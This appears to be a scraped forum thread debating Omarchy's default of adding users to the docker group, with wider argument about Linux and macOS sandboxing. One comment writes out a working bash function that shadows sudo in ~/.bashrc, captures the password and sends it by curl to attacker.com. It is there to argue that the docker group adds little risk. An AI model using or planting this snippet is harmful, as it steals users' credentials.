https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8...
Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?
Start a docker container with the docker socket mounted in the container and now you can have yourself mount / as rw. Everybody knows this. How is everybody so shocked here. Many instructions online tell you to make yourself part of the docker group for convenience (like the digital ocean one).
You may do that, but I don't. I always use sudo to manage the few docker containers I need, and I prefer podman where possible specifically because I can run it rootless.
If you want to give your user passwordless root for convenience, go ahead, but that should never be the default.
I'm afraid that isn't really any better. If the attacker is in position to exploit membership in the docker group, he already has access to the user's .bashrc. He can simply write a function called sudo that wraps the real command and records your password[1]. Unless the user always invokes sudo with /usr/bin/sudo, docker group membership doesn't really make a difference.
Once malware runs as an administrator, getting access to root isn't really that complicated. The boundary between wheel and root is more or less security theater.
[1] https://gist.github.com/tokyoneon/34ce1c9e1530a12eb392b1eab0...
I don’t understand how this is a question.
What’s different is that it comes configured this way out of the box, silently, without warning. It’s functionally equivalent to opting in to giving all user accounts root privileges, which is not what anyone expects the default configuration to be.
You can choose to configure your installs this way if you choose to do so. It should not come this way quietly by default.
The Omarchy team immediately fixed this because it was a security oversight, not an intentional opinionated choice.
But you see, it wasn't even a PR. It was just DHH making a straight up commit on the main branch (as far as I can see). With a message "Do all the additional Docker configuration needed". Was it even AI-assisted? At least the commit message wasn't, AIs write smarter commit messages than that.
I said on my earlier comment that DHH and AI get ridiculed automatically because people hate both. That doesn't mean that the ridicule isn't always justified.
https://github.com/omacom/omarchy/commit/25799ee91f54c35e6d3...
the tech might gets fixed later.
I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.
Also the community is large so there's usually someone that has already had your issue and resolved it. The amount of themes and plugins are growing everyday.
A bare arch+hyprland install really feels terrible to use and has a much larger barrier to entry than Omarchy.
The problem I've always had with trying out a tiling window manager like hyprland is you're going to spend a very long time trying to get everything just right. With Omarchy I get a really nice hyprland setup right out of the box.
Omarchy aims to find a middle ground between those two.
I should have gone with something like cachyos as games are important to me, but I think at the time hyperland wasn't an option (i don't remember). I know it is now.
I happen to hate Omarchy for the precise reason I don’t want that sort of interface, but apparently everyone else does, and if they do that’s up to them.
Whoa! You have to _learn_ something to use it well? Yikes. Not for me.
It was already hard to have technical conversations in public, now there is a contingent determined to make it utterly impossible, and they are succeeding.
Also, the statement was valid because it will be true for most. It doesn't matter that you read it and it wasn't true for you, as long as it's true by the numbers, it's true, because it's one-to-many communication not one to one.
The statement seems more like a preconception than data.
I guess this LLM coding wasn't "Responsible" enough. hahaha
Let the AI bubble pop baby
It's not the same thing as allowing some AI contributions under strict guidelines.
It's not that we shouldn't use vibecoded distros. It's that we shouldn't use badly vibecoded distros with shitty or non-existent processes.
(example: NetworkChuck, Primeagen? and a few others)
also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it
I think nowadays using quickshell anyone who is so inclined can vibecode their own UI though. I recently made the switch to Wayland/hyprland and rebuilt my polybar on quickshell, even adding widgets that allow getting system info/fine grained system control (interactive Bluetooth, WiFi, Volume, Brightness etc).
But in all seriousness, I am running omarchy now, and I will almost definitely be switching to arch at some point in the future.
I've been using arch for over 10 years btw.
or did you think onlyfans?
- JaKooLit’s Fedora-Hyprland Repository: https://github.com/JaKooLit/Fedora-Hyprland. The most popular automated setup guide and installer for Fedora, bundling Hyprland alongside pre-configured bars, launchers, and
- Official Hyprland Wiki: wiki.hypr.land/Getting-Started/Installation/. The main reference guide for core configuration options, environment variables, and Wayland portal requirements.
- Solopasha Fedora COPR copr.fedorainfracloud.org/coprs/solopasha/hyprland. The primary community repository hosting cutting-edge builds of Hyprland and its ecosystem packages for
- Fedora Discussion Tutorials: discussion.fedoraproject.org. Community walkthroughs covering minimal netinstall setups and distro-specific Wayland troubleshooting.
I'm required to use Ubuntu at work. Coming from Mac, apart from the menu bar at the top, on Gnome, I've been able to customize the keyboard shortcuts, remap the keyboard so that Ctrl works like Cmd, and use extensions like Dash to Dock[1] and themes like Whitesur[2] to replicate something that almost works like a Mac.
The keyboard remapping and customizing keyboard shortcuts were all done within default the default settings app.
The only things missing are some keyboard shortcuts like Ctrl+A/V to move to the beginning and end, and the Ctrl+Shift+C/V behavior on the terminal instead of Cmd+C, which I've just worked around by using VSCode's terminal and configuring it to copy when I press Ctrl+C with some text selected.
[1] https://extensions.gnome.org/extension/307/dash-to-dock/
Also the only reason I left Linux was due to hardware. Ubuntu was convenient enough.
Just don't.
Homebrew should not be allowed near any machine you need to be able to trust.
There's nothing interesting to discuss. Rootless OCI-compliant containers exist, and Omarchy ignored them. The "convenience" of the solution they chose simultaneously opens an enormous attack surface that the maintainers didn't consider.
This is why I don't believe the "give me a macOS distro" people - even Apple wouldn't do this. If you want a preconfigured Mac-like distro, then you should use GNOME and not a pre-riced desktop with hundreds of dotfiles. You don't have to use Arch either, you can go with a graphical install of Fedora or CachyOS if you want. This will give you a system that you can understand, maintained by people with a minimum standard of quality, that actually resembles the workflow of macOS. There is no Niri or Sway rice that will magically make your system make sense, and this is why I think a lot of the Mac and Windows expats should just use a normal desktop.
It's probably already documented on Arch wiki or it's a generic Linux issue that has already been solved by someone (that has been my experience with Cachy).
So this kind of "vulnerability" doesn't seem that important. If you run code as yourself on Linux it owns you.
On macOS it's very different. Pervasive code signing gives all apps a stable identity enforced by the kernel that they can't easily escape. The kernel can then impose sandboxing policies on any app that's run regardless of how it's installed, for instance, preventing apps from rummaging through ~/Documents or monitoring your screen. Permissions are editable and guaranteed to stick, including across upgrades. And root is disempowered so obtaining it barely matters, it's only really there for UNIX compatibility.
Unfortunately implementing an Apple style architecture on Linux would be very difficult.
> Unfortunately implementing an Apple style architecture on Linux would be very difficult.
The apple apps kind of thing already exists and its called flatpak.
On desktop Linux as we know it, yes, but Android manages it alright, mostly via SELinux+seccomp.
As a QubesOS user, I beg to differ. Just because most Linux distros are negligent with sandboxing does not mean all of them are.
I’m sorry, what? MacOS’s desktop sandboxing is pathetic. Sure, it kind of sort of tries to prevent an application from rummaging until you give it permission. And that permission is hilariously coarse grained, and it gets regularly broken anyway. (Seriously, read about TCC breaks. They’re not little implementation errors — they’re giant gaping holes in the whole concept.) The entitlement mechanism basically serves to help Apple restrict what developers can do without meaningful protecting Apple’s users.
If you think that it protects you when your Mac prompts to ask whether Terminal.app may access Documents, you are welcome to enjoy your warm fuzzy feelings.
> Unfortunately implementing an Apple style architecture on Linux would be very difficult.
Why would it be difficult? I think that mostly it would reveal to whomever implemented it how useless it is.
If you mean sandbox-exec, you can do this on Linux, too. And the Linux mechanisms are not considered deprecated and undocumented, whereas Apple steadfastly refuses admit that sandbox-exec is a real mechanism.
The sandboxing isn't bad. It's obviously weaker if you do everything in the Terminal and stay in old-school UNIX territory because it wasn't designed to sandbox developer workloads. But it's a lot better than nothing, which is what Linux offers.
The OS does actually protect you when it asks if the terminal should be able to access ~/Documents. You can say no, and then random stuff you curl|bash can't read files in that folder unless there's an exploit. Apps that opt in to app sandboxing are much better protected and can store files/settings in an area of $HOME that other apps can't access at all without the right permissions.
It would be difficult to do on Linux because an Apple style architecture requires apps to systematically use the blessed OS APIs for functionality. Not only for things like file pickers but also camera access, storing preferences, etc. In Linux it'd require the architecture to be tied to a specific desktop environment and associated set of apps. There's not enough consistency otherwise.
It also needs pervasive kernel enforced app identity and equivalents to Apple's bookmarks, Mach context propagation, SBPL, app containers architecture etc.
It also needs an agreed on way to handle malware reporting and detection, out of the box, and some authority that's trusted to hand out sensitive permissions (for writing debuggers, if nothing else).
You can hack something together with bits and pieces Linux has, and define a way to write apps that delivers something like Apple's architecture - as Android has - but that won't bring the ecosystem with you. And it will suffer from a high degree of centralization where distributors have to approve every app, with any app you get outside your distro's package repositories being a free for all. Apple's architecture allows apps to be distributed outside the app store while still being sandboxed to a lesser or greater extent, as well as scanned for malware ahead of time and located anywhere on disk (by extension, you can have >1 version of an app installed at once and sandboxing still works).
Someone even thinking it is reasonable to try to use a mac to manage production would be grounds for me to ensure they never have production access.
Also, QubesOS is a thing, therefore QubesOS Linux users have way way better access to sandboxing than MacOS -and- signed devtools packages.
If you say no, you can’t use less or cat to read your documents. If you say yes then you are completely unprotected, forever, from anything you might run from the terminal.
> It also needs pervasive kernel enforced app identity
Doing like MacOS needs app identity. But this model is just wrong, because it answers the wrong question. Determining, once, whether Microsoft Word or VSCode may access all your documents, means that any Word document, using valid scripting or an exploit against Word, may access all your documents, and it means that you are fully exposed to anything you look at in vscode (as vscode has almost no security).
The right questions would be: May this document access this file or folder? May this project access anything outside its own folder? May this Python script read your screen? May this AI agent session access this USB device? Kernel-managed app identity is completely unhelpful for any of this.
(Frankly, kernel managed app identity seems unnecessary for most of what Mac does, too. App identity could be set by whatever launches the app, so long as the app’s resulting privileges are not allowed to exceed those of the launcher.)
> And it will suffer from a high degree of centralization where distributors have to approve every app
Please elaborate.
Sure, if you actually think that an Apple-like entitlement system protects you well, then I guess that a non-Apple entitlement system would need some trusted authority to grant entitlements. I do not think it protects anyone very well even if Apple, as the entitlement granter, is considered fully trustworthy.
Bubblewrap works.
Are there any glaring limitations in Bubblewrap you'd like to point out, or are we having the Tannenbaum argument all over again?
However, I agree that it should be opt-in. Docs should be more explicit about that too, they should warn users about risks of going with that option. That excerpt mentioned in the article was rather misleading.
As an official configuration? Or in random copy paste guides? The former is very different than the latter. It's not uncommon to disable sudo passwords, but it would be considered a serious security lapse if that were the default on some OS.
https://docs.docker.com/engine/install/linux-postinstall
If the official sudo project had a guide on how to disable passwords, that shouldn't be taken as endorsement of having that as a default config.
Adding the user to the docker group by default, out of the box, is Omarchy-specific.
EDIT: More accurately, was Omarchy specific, until they realized that it's not a good idea and changed it.
Malware just need to put this in ~/.bashrc and wait:
function sudo () {
realsudo=$(which sudo)
read -r -s -p "[sudo] password for $USER: " password
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1
$realsudo "${@:1}"
}You just need write access to .bashrc or similar.
> This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges.
Unprivileged malware will be waiting with a root payload ready to fire the next time you tap your yubikey.
It's a niche, but it's real. Esp. if you're targeting npm installed user scripts or similar
They didn't say anything about overwriting the sudo binary, and that is not required, which I think was their whole point was to show exactly how that is not required.
No desktop system is safe from your attack, unless you take specific precautions like chattr on the file or chmodding your home directory, but that can lead to weird breakage.
Omarchy looks like a simple way for a developer like me to test drive hyprland and write code. It also looks like a great way for my kids to get into computers as there's an agent harness ready to help them manage their machine and use free software, even the stuff that's a bit obtuse.
I'm bewildered that people are mad about any of this, but then I remember I don't care what the gatekeepers think anymore.
In the AI world, security issues are just another marketing opportunity.
EDIT: Downvote all you want. He was anti-AI, got a board seat at Shopify and then became an AI influencer. Now additional money is rolling in to Omarchy from Lütke and Steinberger.
That said, I think Arch Linux itself has a culture that values the wrong kind of simplicity (implementation simplicity) that perversely leads to a failure to adequately grapple with inherent complexity. This leads to brittle implementations, "buyer beware" norms, "you should have run the notes", "this command should never be used", etc. Omarchy inherits all of that from Arch. It also, it seems, carried its own perverse notion of "simplicity".
I am a fedora/opensuse user and happily use podman with selinux.
> The security tradeoff was made for them, applied to the default account, and the tradeoff was not explained to the user.
just like the vps era. it's all about convenience.
Previous attempts with Ubuntu and PopOS! never stuck.
Is there a name for a phobia of yt thumbnails?
They run completely unsandboxed and are unvetted.
> Omarchy configured its default user as a member of the Linux docker group.
What the fuck? Docker makes it VERY, VERY clear this is unsafe. Feel free to verify the documentation.
https://docs.docker.com/engine/install/linux-postinstall/
Why would you want to make this the default for your users, without even telling them? Did someone configured his own system to work this way and decided it is a good idea to ship it as a part of an "opinionated" distro??? Makes you wonder how much other crap is there.
Isn't that the entire selling point of Omarchy?
Well, it's not unsafe because anyone who can exploit it has already fully compromised my PC. It rather involved being on the other side of this airtight hatchway. But I didn't know that putting an actually locked down account in the docker group was unsafe.
If you are security-conscious, you shouldn’t be using docker anyway.
TFA spells out why this is wrong better than I could.
> There is another important aspect of this configuration. It was opt-out, not opt-in. A user did not have to actually use Docker. The security tradeoff was made for them, applied to the default account, and the tradeoff was not explained to the user.
> Security-sensitive defaults matter precisely because many users reasonably assume that the operating system defaults to secure and will inform or prompt them to opt-in to less secure settings.
I’m just pointing out the level-set that I’m sure the first time someone installs docker and tries to use it, chances are they are just going to install themselves in the docker group without considering the impact and continue on their day.
Because DHH doesn't have a clue what he's doing and is farming his brain out to Claude. Again.
just look at all the comments "this is a fair and common mistake" that are not being ironic.
Like if I have something on my dev machines which is important from an enterprise perspective it is the credentials that I use to check things into the git repository or log into the postgresql database that are in some file or keyring or the credentials I used to log into some corporate IT system with my web browser. Or the Microsoft Word document with confidential plans, or the spreadsheet with personal data on 30,000 people that I don't really need to have, etc.
The "root" barrier is of limited effectiveness against those sort of attacks but the barrier between users is less important on a personal computer as opposed to the "minicomputer" world that gave birth to Unix.
In 1989 my school had a cluster of Sun Workstations running Unix for which student, faculty, and staff had accounts and it was a real threat model that you might steal the homework assignment of another student or you might take screenshots of the screen of the computer center's director that would let you watch him reading his email his email and such.
I more concerned that Apache is running under a "httpd" account or IIS is running under its own account so that I do have controls on what can be exfiltrated by that route but...
The modern developer is likely booting up a sinatra or JAXB or a httpx server on some high numbered port running as their own user so if they're going to get hit with data exfiltration or remote execution against a dev server the scope is most user files.
The fact that it is almost an anagram of monarchy is probably a plus for DHH.
1. Having access to the user's home directory is way more serious than being able to install drivers or whatever
2. There are a million other ways to escalate to root by obtaining the user's password
I also don't understand the point of these distros, just install Arch with KDE via archinstall, it literally takes 15 minutes. Why is it that people feel the need to use someone's Arch setup?
Every day I wake up and thank the universe for MS making WSL2
The macOS situation is even worse in that the kernel lacks the requisite capabilities.
I wouldn't even consider that a vulnerability tbh, every personal laptop I had I add myself to docker group. Yes, you can not namespace pids, filesystem, etc, and get root, but it's never mattered.
If someone can run that docker command, they can already read your whole homedir, edit bashrc, etc etc,. and sudo is useless anyways.
Only on a system where you are a user without sudo access, does it even begin to make sense. And if you go to the trouble of intentionally setting up a user without sudo access, you wouldn't be adding that user to the docker group either. In the default install, I assume omarchy adds you to the sudoers as well, making this a perfectly ok thing to do
Even if you participate in the esteemed Red Hat Security Theater and use wayland, flatpaks, etc, most flatpaks can write anywhere in your home dir, so they can do this too.
On standard linux desktop, sudo is not really security, but it is a UX improvement as it adds friction to accidentally doing things to the "system".
[I don't use omarchy]